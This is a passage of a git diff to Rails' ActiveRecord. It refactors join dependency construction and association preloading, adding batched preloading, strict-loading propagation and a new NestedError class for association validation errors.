+            if keys.any? { |key| row[key].nil? }
               nil_association = ar_parent.association(node.reflection.name)
               nil_association.loaded!
               next
             end
 
-            model = seen[ar_parent.object_id][node.base_klass][id]
-
-            if model
-              construct(model, node, row, rs, seen, model_cache, aliases)
-            else
-              model = construct_model(ar_parent, node, row, model_cache, id, aliases)
-
-              if node.reflection.scope_for(node.base_klass).readonly_value
-                model.readonly!
-              end
-
-              seen[ar_parent.object_id][node.base_klass][id] = model
-              construct(model, node, row, rs, seen, model_cache, aliases)
+            unless model = seen[ar_parent][node][id]
+              model = construct_model(ar_parent, node, row, model_cache, id, strict_loading_value)
+              seen[ar_parent][node][id] = model if id
             end
+
+            construct(model, node, row, seen, model_cache, strict_loading_value)
           end
         end
 
-        def construct_model(record, node, row, model_cache, id, aliases)
+        def construct_model(record, node, row, model_cache, id, strict_loading_value)
           other = record.association(node.reflection.name)
 
-          model = model_cache[node][id] ||=
-            node.instantiate(row, aliases.column_aliases(node)) do |m|
+          unless model = model_cache[node][id]
+            model = node.instantiate(row, aliases.column_aliases(node)) do |m|
+              m.strict_loading! if strict_loading_value
               other.set_inverse_instance(m)
             end
+            model_cache[node][id] = model if id
+          end
 
           if node.reflection.collection?
             other.target.push(model)
@@ -299,6 +294,8 @@ def construct_model(record, node, row, model_cache, id, aliases)
             other.target = model
           end
 
+          model.readonly! if node.readonly?
+          model.strict_loading! if node.strict_loading?
           model
         end
     end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_association.rb b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
index f5fcba12367be..9102b6ac97665 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_association.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
@@ -1,19 +1,19 @@
+# frozen_string_literal: true
+
 require "active_record/associations/join_dependency/join_part"
+require "active_support/core_ext/array/extract"
 
 module ActiveRecord
   module Associations
     class JoinDependency # :nodoc:
       class JoinAssociation < JoinPart # :nodoc:
-        # The reflection of the association represented
-        attr_reader :reflection
-
-        attr_accessor :tables
+        attr_reader :reflection, :tables
+        attr_accessor :table
 
         def initialize(reflection, children)
           super(reflection.klass, children)
 
-          @reflection      = reflection
-          @tables          = nil
+          @reflection = reflection
         end
 
         def match?(other)
@@ -21,111 +21,83 @@ def match?(other)
           super && reflection == other.reflection
         end
 
-        JoinInformation = Struct.new :joins, :binds
+        def join_constraints(foreign_table, foreign_klass, join_type, alias_tracker)
+          joins = []
+          chain = []
+
+          reflection_chain = reflection.chain
+          reflection_chain.each_with_index do |reflection, index|
+            table, terminated = yield reflection, reflection_chain[index..]
+            @table ||= table
+
+            if terminated
+              foreign_table, foreign_klass = table, reflection.klass
+              break
+            end
 
-        def join_constraints(foreign_table, foreign_klass, node, join_type, tables, chain)
-          joins         = []
-          binds         = []
-          tables        = tables.reverse
+            chain << [reflection, table]
+          end
 
           # The chain starts with the target table, but we want to end with it here (makes
           # more sense in this context), so we reverse
-          chain.reverse_each do |reflection|
-            table = tables.shift
+          chain.reverse_each do |reflection, table|
             klass = reflection.klass
 
-            join_keys   = reflection.join_keys(klass)
-            key         = join_keys.key
-            foreign_key = join_keys.foreign_key
+            scope = reflection.join_scope(table, foreign_table, foreign_klass)
 
-            constraint = build_constraint(klass, table, key, foreign_table, foreign_key)
+            unless scope.references_values.empty?
+              associations = scope.eager_load_values | scope.includes_values
 
-            predicate_builder = PredicateBuilder.new(TableMetadata.new(klass, table))
-            scope_chain_items = reflection.scopes.map do |item|
-              if item.is_a?(Relation)
-                item
-              else
-                ActiveRecord::Relation.create(klass, table, predicate_builder)
-                  .instance_exec(node, &item)
+              unless associations.empty?
+                scope.joins! scope.construct_join_dependency(associations, Arel::Nodes::OuterJoin)
               end
             end
 
-            klass_scope =
-              if klass.current_scope
-                klass.current_scope.clone.tap { |scope|
-                  scope.joins_values = []
-                }
-              else
-                relation = ActiveRecord::Relation.create(
-                  klass,
-                  table,
-                  predicate_builder,
-                )
-                klass.send(:build_default_scope, relation)
-              end
-            scope_chain_items.concat [klass_scope].compact
-
-            rel = scope_chain_items.inject(scope_chain_items.shift) do |left, right|
-              left.merge right
-            end
+            arel = scope.arel(alias_tracker.aliases)
+            nodes = arel.constraints.first
 
-            if rel && !rel.arel.constraints.empty?
-              binds += rel.bound_attributes
-              constraint = constraint.and rel.arel.constraints
+            if nodes.is_a?(Arel::Nodes::And)
+              others = nodes.children.extract! do |node|
+                !Arel.fetch_attribute(node) { |attr| attr.relation.name == table.name }
+              end
             end
 
-            if reflection.type
-              value = foreign_klass.base_class.name
-              column = klass.columns_hash[reflection.type.to_s]
+            joins << join_type.new(table, Arel::Nodes::On.new(nodes))
 
-              binds << Relation::QueryAttribute.new(column.name, value, klass.type_for_attribute(column.name))
-              constraint = constraint.and klass.arel_attribute(reflection.type, table).eq(Arel::Nodes::BindParam.new)
+            if others && !others.empty?
+              joins.concat arel.join_sources
+              append_constraints(joins.last, others)
             end
 
-            joins << table.create_join(table, table.create_on(constraint), join_type)
-
             # The current table in this iteration becomes the foreign table in the next
             foreign_table, foreign_klass = table, klass
           end
 
-          JoinInformation.new joins, binds
+          joins
         end
 
-        #  Builds equality condition.
-        #
-        #  Example:
-        #
-        #  class Physician < ActiveRecord::Base
-        #    has_many :appointments
-        #  end
-        #
-        #  If I execute `Physician.joins(:appointments).to_a` then
-        #    klass         # => Physician
-        #    table         # => #<Arel::Table @name="appointments" ...>
-        #    key           # =>  physician_id
-        #    foreign_table # => #<Arel::Table @name="physicians" ...>
-        #    foreign_key   # => id
-        #
-        def build_constraint(klass, table, key, foreign_table, foreign_key)
-          constraint = table[key].eq(foreign_table[foreign_key])
-
-          if klass.finder_needs_type_condition?
-            constraint = table.create_and([
-              constraint,
-              klass.send(:type_condition, table)
-            ])
-          end
+        def readonly?
+          return @readonly if defined?(@readonly)
 
-          constraint
+          @readonly = reflection.scope && reflection.scope_for(base_klass.unscoped).readonly_value
         end
 
-        def table
-          tables.first
-        end
+        def strict_loading?
+          return @strict_loading if defined?(@strict_loading)
 
-        def aliased_table_name
-          table.table_alias || table.name
+          @strict_loading = reflection.scope && reflection.scope_for(base_klass.unscoped).strict_loading_value
         end
+
+        private
+          def append_constraints(join, constraints)
+            if join.is_a?(Arel::Nodes::StringJoin)
+              join_string = Arel::Nodes::And.new(constraints.unshift join.left)
+              join.left = join_string
+            else
+              right = join.right
+              right.expr = Arel::Nodes::And.new(constraints.unshift right.expr)
+            end
+          end
       end
     end
   end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_base.rb b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
index fca20514d1539..988b4e8fa266d 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_base.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
@@ -1,20 +1,21 @@
+# frozen_string_literal: true
+
 require "active_record/associations/join_dependency/join_part"
 
 module ActiveRecord
   module Associations
     class JoinDependency # :nodoc:
       class JoinBase < JoinPart # :nodoc:
-        def match?(other)
-          return true if self == other
-          super && base_klass == other.base_klass
-        end
+        attr_reader :table
 
-        def table
-          base_klass.arel_table
+        def initialize(base_klass, table, children)
+          super(base_klass, children)
+          @table = table
         end
 
-        def aliased_table_name
-          base_klass.table_name
+        def match?(other)
+          return true if self == other
+          super && base_klass == other.base_klass
         end
       end
     end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_part.rb b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
index 61cec5403aa56..3ffa079c61cf7 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_part.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Associations
     class JoinDependency # :nodoc:
@@ -15,17 +17,13 @@ class JoinPart # :nodoc:
         # association.
         attr_reader :base_klass, :children
 
-        delegate :table_name, :column_names, :primary_key, to: :base_klass
+        delegate :table_name, :column_names, :primary_key, :attribute_types, to: :base_klass
 
         def initialize(base_klass, children)
           @base_klass = base_klass
           @children = children
         end
 
-        def name
-          reflection.name
-        end
-
         def match?(other)
           self.class == other.class
         end
@@ -35,13 +33,15 @@ def each(&block)
           children.each { |child| child.each(&block) }
         end
 
-        # An Arel::Table for the active_record
-        def table
-          raise NotImplementedError
+        def each_children(&block)
+          children.each do |child|
+            yield self, child
+            child.each_children(&block)
+          end
         end
 
-        # The alias for the active_record's table
-        def aliased_table_name
+        # An Arel::Table for the active_record
+        def table
           raise NotImplementedError
         end
 
@@ -54,16 +54,16 @@ def extract_record(row, column_names_with_alias)
           length = column_names_with_alias.length
 
           while index < length
-            column_name, alias_name = column_names_with_alias[index]
-            hash[column_name] = row[alias_name]
+            column = column_names_with_alias[index]
+            hash[column.name] = row[column.alias]
             index += 1
           end
 
           hash
         end
 
-        def instantiate(row, aliases, &block)
-          base_klass.instantiate(extract_record(row, aliases), &block)
+        def instantiate(row, aliases, column_types = {}, &block)
+          base_klass.instantiate(extract_record(row, aliases), column_types, &block)
         end
       end
     end
diff --git a/activerecord/lib/active_record/associations/nested_error.rb b/activerecord/lib/active_record/associations/nested_error.rb
new file mode 100644
index 0000000000000..cb2cf5a2bd6cb
--- /dev/null
+++ b/activerecord/lib/active_record/associations/nested_error.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+# Validation error class to wrap association records' errors,
+# with index_errors support.
+module ActiveRecord
+  module Associations
+    class NestedError < ::ActiveModel::NestedError
+      def initialize(association, inner_error)
+        @base = association.owner
+        @association = association
+        @inner_error = inner_error
+        super(@base, inner_error, { attribute: compute_attribute(inner_error) })
+      end
+
+      private
+        attr_reader :association
+
+        def compute_attribute(inner_error)
+          association_name = association.reflection.name
+
+          if association.collection? && index_errors_setting && index
+            "#{association_name}[#{index}].#{inner_error.attribute}".to_sym
+          else
+            "#{association_name}.#{inner_error.attribute}".to_sym
+          end
+        end
+
+        def index_errors_setting
+          @index_errors_setting ||=
+            association.options.fetch(:index_errors, ActiveRecord.index_nested_attribute_errors)
+        end
+
+        def index
+          @index ||= ordered_records&.find_index(inner_error.base)
+        end
+
+        def ordered_records
+          case index_errors_setting
+          when true # default is association order
+            association.target
+          when :nested_attributes_order
+            association.nested_attributes_target
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader.rb b/activerecord/lib/active_record/associations/preloader.rb
index 9f77f38b35219..b35c8e8b57204 100644
--- a/activerecord/lib/active_record/associations/preloader.rb
+++ b/activerecord/lib/active_record/associations/preloader.rb
@@ -1,5 +1,11 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+
 module ActiveRecord
   module Associations
+    # = Active Record \Preloader
+    #
     # Implements the details of eager loading of Active Record associations.
     #
     # Suppose that you have the following two Active Record models:
@@ -18,8 +24,8 @@ module Associations
     #
     #   Author.includes(:books).where(name: ['bell hooks', 'Homer']).to_a
     #
-    #   => SELECT `authors`.* FROM `authors` WHERE `name` IN ('bell hooks', 'Homer')
-    #   => SELECT `books`.* FROM `books` WHERE `author_id` IN (2, 5)
+    #   # SELECT `authors`.* FROM `authors` WHERE `name` IN ('bell hooks', 'Homer')
+    #   # SELECT `books`.* FROM `books` WHERE `author_id` IN (2, 5)
     #
     # Active Record saves the ids of the records from the first query to use in
     # the second. Depending on the number of associations involved there can be
@@ -29,32 +35,25 @@ module Associations
     # Record will fall back to a slightly more resource-intensive single query:
     #
     #   Author.includes(:books).where(books: {title: 'Illiad'}).to_a
-    #   => SELECT `authors`.`id` AS t0_r0, `authors`.`name` AS t0_r1, `authors`.`age` AS t0_r2,
-    #             `books`.`id`   AS t1_r0, `books`.`title`  AS t1_r1, `books`.`sales` AS t1_r2
-    #      FROM `authors`
-    #      LEFT OUTER JOIN `books` ON `authors`.`id` =  `books`.`author_id`
-    #      WHERE `books`.`title` = 'Illiad'
+    #   # SELECT `authors`.`id` AS t0_r0, `authors`.`name` AS t0_r1, `authors`.`age` AS t0_r2,
+    #   #        `books`.`id`   AS t1_r0, `books`.`title`  AS t1_r1, `books`.`sales` AS t1_r2
+    #   # FROM `authors`
+    #   # LEFT OUTER JOIN `books` ON `authors`.`id` =  `books`.`author_id`
+    #   # WHERE `books`.`title` = 'Illiad'
     #
     # This could result in many rows that contain redundant data and it performs poorly at scale
     # and is therefore only used when necessary.
-    #
-    class Preloader #:nodoc:
+    class Preloader # :nodoc:
       extend ActiveSupport::Autoload
 
       eager_autoload do
-        autoload :Association,           "active_record/associations/preloader/association"
-        autoload :SingularAssociation,   "active_record/associations/preloader/singular_association"
-        autoload :CollectionAssociation, "active_record/associations/preloader/collection_association"
-        autoload :ThroughAssociation,    "active_record/associations/preloader/through_association"
-
-        autoload :HasMany,             "active_record/associations/preloader/has_many"
-        autoload :HasManyThrough,      "active_record/associations/preloader/has_many_through"
-        autoload :HasOne,              "active_record/associations/preloader/has_one"
-        autoload :HasOneThrough,       "active_record/associations/preloader/has_one_through"
-        autoload :BelongsTo,           "active_record/associations/preloader/belongs_to"
+        autoload :Association,        "active_record/associations/preloader/association"
+        autoload :Batch,              "active_record/associations/preloader/batch"
+        autoload :Branch,             "active_record/associations/preloader/branch"
+        autoload :ThroughAssociation, "active_record/associations/preloader/through_association"
       end
 
-      NULL_RELATION = Struct.new(:values, :where_clause, :joins_values).new({}, Relation::WhereClause.empty, [])
+      attr_reader :records, :associations, :scope, :associate_by_default
 
       # Eager loads the named associations for the given Active Record record(s).
       #
@@ -66,7 +65,7 @@ class Preloader #:nodoc:
       # == Parameters
       # +records+ is an array of ActiveRecord::Base. This array needs not be flat,
       # i.e. +records+ itself may also contain arrays of records. In any case,
-      # +preload_associations+ will preload the all associations records by
+      # +preload_associations+ will preload all associations records by
       # flattening +records+.
       #
       # +associations+ specifies one or more associations that you want to
@@ -76,138 +75,61 @@ class Preloader #:nodoc:
       #   for an Author.
       # - an Array which specifies multiple association names. This array
       #   is processed recursively. For example, specifying <tt>[:avatar, :books]</tt>
-      #   allows this method to preload an author's avatar as well as all of his
+      #   allows this method to preload an author's avatar as well as all of their
       #   books.
       # - a Hash which specifies multiple association names, as well as
       #   association names for the to-be-preloaded association objects. For
       #   example, specifying <tt>{ author: :avatar }</tt> will preload a
       #   book's author, as well as that author's avatar.
       #
-      # +:associations+ has the same format as the +:include+ option for
-      # <tt>ActiveRecord::Base.find</tt>. So +associations+ could look like this:
+      # +:associations+ has the same format as the arguments to
+      # ActiveRecord::QueryMethods#includes. So +associations+ could look like
+      # this:
       #
       #   :books
       #   [ :books, :author ]
       #   { author: :avatar }
       #   [ :books, { author: :avatar } ]
-      def preload(records, associations, preload_scope = nil)
-        records       = Array.wrap(records).compact.uniq
-        associations  = Array.wrap(associations)
-        preload_scope = preload_scope || NULL_RELATION
-
-        if records.empty?
-          []
-        else
-          associations.flat_map { |association|
-            preloaders_on association, records, preload_scope
-          }
-        end
+      #
+      # +available_records+ is an array of ActiveRecord::Base. The Preloader
+      # will try to use the objects in this array to preload the requested
+      # associations before querying the database. This can save database
+      # queries by reusing in-memory objects. The optimization is only applied
+      # to single associations (i.e. :belongs_to, :has_one) with no scopes.
+      def initialize(records:, associations:, scope: nil, available_records: [], associate_by_default: true)
+        @records = records
+        @associations = associations
+        @scope = scope
+        @available_records = available_records || []
+        @associate_by_default = associate_by_default
+
+        @tree = Branch.new(
+          parent: nil,
+          association: nil,
+          children: @associations,
+          associate_by_default: @associate_by_default,
+          scope: @scope
+        )
+        @tree.preloaded_records = @records
       end
 
-      private
-
-        # Loads all the given data into +records+ for the +association+.
-        def preloaders_on(association, records, scope)
-          case association
-          when Hash
-            preloaders_for_hash(association, records, scope)
-          when Symbol
-            preloaders_for_one(association, records, scope)
-          when String
-            preloaders_for_one(association.to_sym, records, scope)
-          else
-            raise ArgumentError, "#{association.inspect} was not recognized for preload"
-          end
-        end
-
-        def preloaders_for_hash(association, records, scope)
-          association.flat_map { |parent, child|
-            loaders = preloaders_for_one parent, records, scope
-
-            recs = loaders.flat_map(&:preloaded_records).uniq
-            loaders.concat Array.wrap(child).flat_map { |assoc|
-              preloaders_on assoc, recs, scope
-            }
-            loaders
-          }
-        end
-
-        # Loads all the given data into +records+ for a singular +association+.
-        #
-        # Functions by instantiating a preloader class such as Preloader::HasManyThrough and
-        # call the +run+ method for each passed in class in the +records+ argument.
-        #
-        # Not all records have the same class, so group then preload group on the reflection
-        # itself so that if various subclass share the same association then we do not split
-        # them unnecessarily
-        #
-        # Additionally, polymorphic belongs_to associations can have multiple associated
-        # classes, depending on the polymorphic_type field. So we group by the classes as
-        # well.
-        def preloaders_for_one(association, records, scope)
-          grouped_records(association, records).flat_map do |reflection, klasses|
-            klasses.map do |rhs_klass, rs|
-              loader = preloader_for(reflection, rs, rhs_klass).new(rhs_klass, rs, reflection, scope)
-              loader.run self
-              loader
-            end
-          end
-        end
-
-        def grouped_records(association, records)
-          h = {}
-          records.each do |record|
-            next unless record
-            assoc = record.association(association)
-            klasses = h[assoc.reflection] ||= {}
-            (klasses[assoc.klass] ||= []) << record
-          end
-          h
-        end
-
-        class AlreadyLoaded # :nodoc:
-          attr_reader :owners, :reflection
-
-          def initialize(klass, owners, reflection, preload_scope)
-            @owners = owners
-            @reflection = reflection
-          end
-
-          def run(preloader); end
-
-          def preloaded_records
-            owners.flat_map { |owner| owner.association(reflection.name).target }
-          end
-        end
+      def empty?
+        associations.nil? || records.length == 0
+      end
 
-        class NullPreloader # :nodoc:
-          def self.new(klass, owners, reflection, preload_scope); self; end
-          def self.run(preloader); end
-          def self.preloaded_records; []; end
-          def self.owners; []; end
-        end
+      def call
+        Batch.new([self], available_records: @available_records).call
 
-        # Returns a class containing the logic needed to load preload the data
-        # and attach it to a relation. For example +Preloader::Association+ or
-        # +Preloader::HasManyThrough+. The class returned implements a `run` method
-        # that accepts a preloader.
-        def preloader_for(reflection, owners, rhs_klass)
-          return NullPreloader unless rhs_klass
+        loaders
+      end
 
-          if owners.first.association(reflection.name).loaded?
-            return AlreadyLoaded
-          end
-          reflection.check_preloadable!
+      def branches
+        @tree.children
+      end
 
-          case reflection.macro
-          when :has_many
-            reflection.options[:through] ? HasManyThrough : HasMany
-          when :has_one
-            reflection.options[:through] ? HasOneThrough : HasOne
-          when :belongs_to
-            BelongsTo
-          end
-        end
+      def loaders
+        branches.flat_map(&:loaders)
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/preloader/association.rb b/activerecord/lib/active_record/associations/preloader/association.rb
index 4072d19380eef..84f4f09a58ef6 100644
--- a/activerecord/lib/active_record/associations/preloader/association.rb
+++ b/activerecord/lib/active_record/associations/preloader/association.rb
@@ -1,96 +1,274 @@
+# frozen_string_literal: true
+
+# :enddoc:
+
 module ActiveRecord
   module Associations
     class Preloader
-      class Association #:nodoc:
-        attr_reader :owners, :reflection, :preload_scope, :model, :klass
-        attr_reader :preloaded_records
+      class Association # :nodoc:
+        class LoaderQuery
+          attr_reader :scope, :association_key_name
+
+          def initialize(scope, association_key_name)
+            @scope = scope
+            @association_key_name = association_key_name
+          end
+
+          def eql?(other)
+            association_key_name == other.association_key_name &&
+              scope.table_name == other.scope.table_name &&
+              scope.model.connection_specification_name == other.scope.model.connection_specification_name &&
+              scope.values_for_queries == other.scope.values_for_queries
+          end
+
+          def hash
+            [association_key_name, scope.model.table_name, scope.model.connection_specification_name, scope.values_for_queries].hash
+          end
+
+          def records_for(loaders)
+            LoaderRecords.new(loaders, self).records
+          end
+
+          def load_records_in_batch(loaders)
+            raw_records = records_for(loaders)
+
+            loaders.each do |loader|
+              loader.load_records(raw_records)
+              loader.run
+            end
+          end
+
+          def load_records_for_keys(keys, &block)
+            return [] if keys.empty?
+
+            if association_key_name.is_a?(Array)
+              query_constraints = Hash.new { |hsh, key| hsh[key] = Set.new }
+
+              keys.each_with_object(query_constraints) do |values_set, constraints|
+                association_key_name.zip(values_set).each do |key_name, value|
+                  constraints[key_name] << value
+                end
+              end
+
+              scope.where(query_constraints)
+            else
+              scope.where(association_key_name => keys)
+            end.load(&block)
+          end
+        end
+
+        class LoaderRecords
+          def initialize(loaders, loader_query)
+            @loader_query = loader_query
+            @loaders = loaders
+            @keys_to_load = Set.new
+            @already_loaded_records_by_key = {}
+
+            populate_keys_to_load_and_already_loaded_records
+          end
 
-        def initialize(klass, owners, reflection, preload_scope)
+          def records
+            load_records + already_loaded_records
+          end
+
+          private
+            attr_reader :loader_query, :loaders, :keys_to_load, :already_loaded_records_by_key
+
+            def populate_keys_to_load_and_already_loaded_records
+              loaders.each do |loader|
+                loader.owners_by_key.each do |key, owners|
+                  if loaded_owner = owners.find { |owner| loader.loaded?(owner) }
+                    already_loaded_records_by_key[key] = loader.target_for(loaded_owner)
+                  else
+                    keys_to_load << key
+                  end
+                end
+              end
+
+              @keys_to_load.subtract(already_loaded_records_by_key.keys)
+            end
+
+            def load_records
+              loader_query.load_records_for_keys(keys_to_load) do |record|
+                loaders.each { |l| l.set_inverse(record) }
+              end
+            end
+
+            def already_loaded_records
+              already_loaded_records_by_key.values.flatten
+            end
+        end
+
+        attr_reader :klass
+
+        def initialize(klass, owners, reflection, preload_scope, reflection_scope, associate_by_default)
           @klass         = klass
-          @owners        = owners
+          @owners        = owners.uniq(&:__id__)
           @reflection    = reflection
           @preload_scope = preload_scope
+          @reflection_scope = reflection_scope
+          @associate     = associate_by_default || !preload_scope || preload_scope.empty_scope?
           @model         = owners.first && owners.first.class
-          @scope         = nil
-          @preloaded_records = []
+          @run = false
         end
 
-        def run(preloader)
-          preload(preloader)
+        def table_name
+          @klass.table_name
         end
 
-        def preload(preloader)
-          raise NotImplementedError
+        def future_classes
+          if run?
+            []
+          else
+            [@klass]
+          end
         end
 
-        def scope
-          @scope ||= build_scope
+        def runnable_loaders
+          [self]
+        end
+
+        def run?
+          @run
+        end
+
+        def run
+          return self if run?
+          @run = true
+
+          records = records_by_owner
+
+          owners.each do |owner|
+            associate_records_to_owner(owner, records[owner] || [])
+          end if @associate
+
+          self
         end
 
-        def records_for(ids)
-          scope.where(association_key_name => ids)
+        def records_by_owner
+          load_records unless defined?(@records_by_owner)
+
+          @records_by_owner
         end
 
-        def table
-          klass.arel_table
+        def preloaded_records
+          load_records unless defined?(@preloaded_records)
+
+          @preloaded_records
         end
 
         # The name of the key on the associated records
         def association_key_name
-          raise NotImplementedError
+          reflection.join_primary_key(klass)
         end
 
-        # This is overridden by HABTM as the condition should be on the foreign_key column in
-        # the join table
-        def association_key
-          klass.arel_attribute(association_key_name, table)
+        def loader_query
+          LoaderQuery.new(scope, association_key_name)
         end
 
-        # The name of the key on the model which declares the association
-        def owner_key_name
-          raise NotImplementedError
+        def owners_by_key
+          @owners_by_key ||= owners.each_with_object({}) do |owner, result|
+            key = derive_key(owner, owner_key_name)
+            (result[key] ||= []) << owner if key
+          end
         end
 
-        def options
-          reflection.options
+        def loaded?(owner)
+          owner.association(reflection.name).loaded?
         end
 
-        private
+        def target_for(owner)
+          Array.wrap(owner.association(reflection.name).target)
+        end
 
-          def associated_records_by_owner(preloader)
-            records = load_records do |record|
-              owner = owners_by_key[convert_key(record[association_key_name])]
-              association = owner.association(reflection.name)
-              association.set_inverse_instance(record)
-            end
+        def scope
+          @scope ||= build_scope
+        end
 
-            owners.each_with_object({}) do |owner, result|
-              result[owner] = records[convert_key(owner[owner_key_name])] || []
-            end
+        def set_inverse(record)
+          if owners = owners_by_key[derive_key(record, association_key_name)]
+            # Processing only the first owner
+            # because the record is modified but not an owner
+            association = owners.first.association(reflection.name)
+            association.set_inverse_instance(record)
           end
+        end
+
+        def load_records(raw_records = nil)
+          # owners can be duplicated when a relation has a collection association join
+          # #compare_by_identity makes such owners different hash keys
+          @records_by_owner = {}.compare_by_identity
+          raw_records ||= loader_query.records_for([self])
+          @preloaded_records = raw_records.select do |record|
+            assignments = false
 
-          def owner_keys
-            unless defined?(@owner_keys)
-              @owner_keys = owners.map do |owner|
-                owner[owner_key_name]
+            owners_by_key[derive_key(record, association_key_name)]&.each do |owner|
+              entries = (@records_by_owner[owner] ||= [])
+
+              if reflection.collection? || entries.empty?
+                entries << record
+                assignments = true
               end
-              @owner_keys.uniq!
-              @owner_keys.compact!
             end
-            @owner_keys
+
+            assignments
           end
+        end
+
+        def associate_records_from_unscoped(unscoped_records)
+          return if unscoped_records.nil? || unscoped_records.empty?
+          return if !reflection_scope.empty_scope?
+          return if preload_scope && !preload_scope.empty_scope?
+          return if reflection.collection?
+
+          unscoped_records.select { |r| r[association_key_name].present? }.each do |record|
+            owners = owners_by_key[derive_key(record, association_key_name)]
+            owners&.each_with_index do |owner, i|
+              association = owner.association(reflection.name)
+              association.target = record
 
-          def owners_by_key
-            unless defined?(@owners_by_key)
-              @owners_by_key = owners.each_with_object({}) do |owner, h|
-                h[convert_key(owner[owner_key_name])] = owner
+              if i == 0 # Set inverse on first owner
+                association.set_inverse_instance(record)
               end
             end
-            @owners_by_key
+          end
+        end
+
+        private
+          attr_reader :owners, :reflection, :preload_scope, :model
+
+          # The name of the key on the model which declares the association
+          def owner_key_name
+            reflection.join_foreign_key
+          end
+
+          def associate_records_to_owner(owner, records)
+            return if loaded?(owner)
+
+            association = owner.association(reflection.name)
+
+            if reflection.collection?
+              not_persisted_records = association.target.reject(&:persisted?)
+              association.target = records + not_persisted_records
+            else
+              association.target = records.first
+            end
           end
 
           def key_conversion_required?
-            @key_conversion_required ||= association_key_type != owner_key_type
+            unless defined?(@key_conversion_required)
+              @key_conversion_required = (association_key_type != owner_key_type)
+            end
+
+            @key_conversion_required
+          end
+
+          def derive_key(owner, key)
+            if key.is_a?(Array)
+              key.map { |k| convert_key(owner._read_attribute(k)) }
+            else
+              convert_key(owner._read_attribute(key))
+            end
           end
 
           def convert_key(key)
@@ -102,67 +280,35 @@ def convert_key(key)
           end
 
           def association_key_type
-            @klass.type_for_attribute(association_key_name.to_s).type
+            @klass.type_for_attribute(association_key_name).type
           end
 
           def owner_key_type
-            @model.type_for_attribute(owner_key_name.to_s).type
-          end
-
-          def load_records(&block)
-            return {} if owner_keys.empty?
-            # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000)
-            # Make several smaller queries if necessary or make one query if the adapter supports it
-            slices = owner_keys.each_slice(klass.connection.in_clause_length || owner_keys.size)
-            @preloaded_records = slices.flat_map do |slice|
-              records_for(slice).load(&block)
-            end
-            @preloaded_records.group_by do |record|
-              convert_key(record[association_key_name])
-            end
+            @model.type_for_attribute(owner_key_name).type
           end
 
           def reflection_scope
-            @reflection_scope ||= reflection.scope_for(klass)
+            @reflection_scope ||= reflection.join_scopes(klass.arel_table, klass.predicate_builder, klass).inject(klass.unscoped, &:merge!)
           end
 
           def build_scope
-            scope = klass.unscoped
-
-            values = reflection_scope.values
-            preload_values = preload_scope.values
-
-            scope.where_clause = reflection_scope.where_clause + preload_scope.where_clause
-            scope.references_values = Array(values[:references]) + Array(preload_values[:references])
-
-            if preload_values[:select] || values[:select]
-              scope._select!(preload_values[:select] || values[:select])
-            end
-            scope.includes! preload_values[:includes] || values[:includes]
-            if preload_scope.joins_values.any?
-              scope.joins!(preload_scope.joins_values)
-            else
-              scope.joins!(reflection_scope.joins_values)
-            end
+            scope = klass.scope_for_association
 
-            if order_values = preload_values[:order] || values[:order]
-              scope.order!(order_values)
+            if reflection.type && !reflection.through_reflection?
+              scope.where!(reflection.type => model.polymorphic_name)
             end
 
-            if preload_values[:reordering] || values[:reordering]
-              scope.reordering_value = true
-            end
+            scope.merge!(reflection_scope) unless reflection_scope.empty_scope?
 
-            if preload_values[:readonly] || values[:readonly]
-              scope.readonly!
+            if preload_scope && !preload_scope.empty_scope?
+              scope.merge!(preload_scope)
             end
 
-            if options[:as]
-              scope.where!(klass.table_name => { reflection.type => model.base_class.sti_name })
-            end
+            cascade_strict_loading(scope)
+          end
 
-            scope.unscope_values = Array(values[:unscope]) + Array(preload_values[:unscope])
-            klass.default_scoped.merge(scope)
+          def cascade_strict_loading(scope)
+            preload_scope&.strict_loading_value ? scope.strict_loading : scope
           end
       end
     end
diff --git a/activerecord/lib/active_record/associations/preloader/batch.rb b/activerecord/lib/active_record/associations/preloader/batch.rb
new file mode 100644
index 0000000000000..a0048d0f6a0ee
--- /dev/null
+++ b/activerecord/lib/active_record/associations/preloader/batch.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Associations
+    class Preloader
+      class Batch # :nodoc:
+        def initialize(preloaders, available_records:)
+          @preloaders = preloaders.reject(&:empty?)
+          @available_records = available_records.flatten.group_by { |r| r.class.base_class }
+        end
+
+        def call
+          branches = @preloaders.flat_map(&:branches)
+          until branches.empty?
+            loaders = branches.flat_map(&:runnable_loaders)
+
+            loaders.each { |loader| loader.associate_records_from_unscoped(@available_records[loader.klass.base_class]) }
+
+            if loaders.any?
+              future_tables = branches.flat_map do |branch|
+                branch.future_classes - branch.runnable_loaders.map(&:klass)
+              end.map(&:table_name).uniq
+
+              target_loaders = loaders.reject { |l| future_tables.include?(l.table_name)  }
+              target_loaders = loaders if target_loaders.empty?
+
+              group_and_load_similar(target_loaders)
+              target_loaders.each(&:run)
+            end
+
+            finished, in_progress = branches.partition(&:done?)
+
+            branches = in_progress + finished.flat_map(&:children)
+          end
+        end
+
+        private
+          attr_reader :loaders
+
+          def group_and_load_similar(loaders)
+            loaders.grep_v(ThroughAssociation).group_by(&:loader_query).each_pair do |query, similar_loaders|
+              query.load_records_in_batch(similar_loaders)
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/preloader/belongs_to.rb b/activerecord/lib/active_record/associations/preloader/belongs_to.rb
deleted file mode 100644
index 38e231826cee1..0000000000000
--- a/activerecord/lib/active_record/associations/preloader/belongs_to.rb
